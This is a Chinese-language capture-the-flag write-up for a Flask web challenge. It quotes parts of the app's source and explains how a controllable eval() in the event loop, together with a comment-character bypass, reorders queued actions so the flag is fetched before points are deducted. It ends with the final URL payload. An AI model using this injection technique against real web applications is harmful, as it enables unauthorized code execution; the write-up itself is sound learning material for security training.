可以看到show_flag_function()无法直接展示出 flag,先看看get_flag_handler()中用到的trigger_event()函数:
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
这个函数往 session 里写了日志,而这个日志里就有 flag,并且 flask 的 session 是可以被解密的。只要后台成功设置了这个 session 我们就有机会获得 flag。
但若想正确调用show_flag_function(),必须满足session[‘num_items’] >= 5。
购买num_items需要花费points,而我们只有 3 个points,如何获得 5 个num_items?
先看看购买的机制:
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
buy_handler()这个函数会先把num_items的数目给你加上去,然后再执行consume_point_function(),若points不够consume_point_function()会把num_items的数目再扣回去。
其实就是先给了货后,无法扣款,然后货被拿跑了
那么我们只要赶在货被抢回来之前,先执行get_flag_handler()即可。
函数trigger_event()维护了一个命令执行的队列,只要让get_flag_handler()赶在consume_point_function()之前进入队列即可。看看最关键的执行函数:
仔细分析execute_event_loop,会发现里面有一个eval函数,而且是可控的!
利用eval()可以导致任意命令执行,使用注释符可以 bypass 掉后面的拼接部分。
若让eval()去执行trigger_event(),并且在后面跟两个命令作为参数,分别是buy和get_flag,那么buy和get_flag便先后进入队列。
根据顺序会先执行buy_handler(),此时consume_point进入队列,排在get_flag之后,我们的目标达成。
所以最终 Payload 如下:
action:trigger_event%23;action:buy;5%23action:get_flag;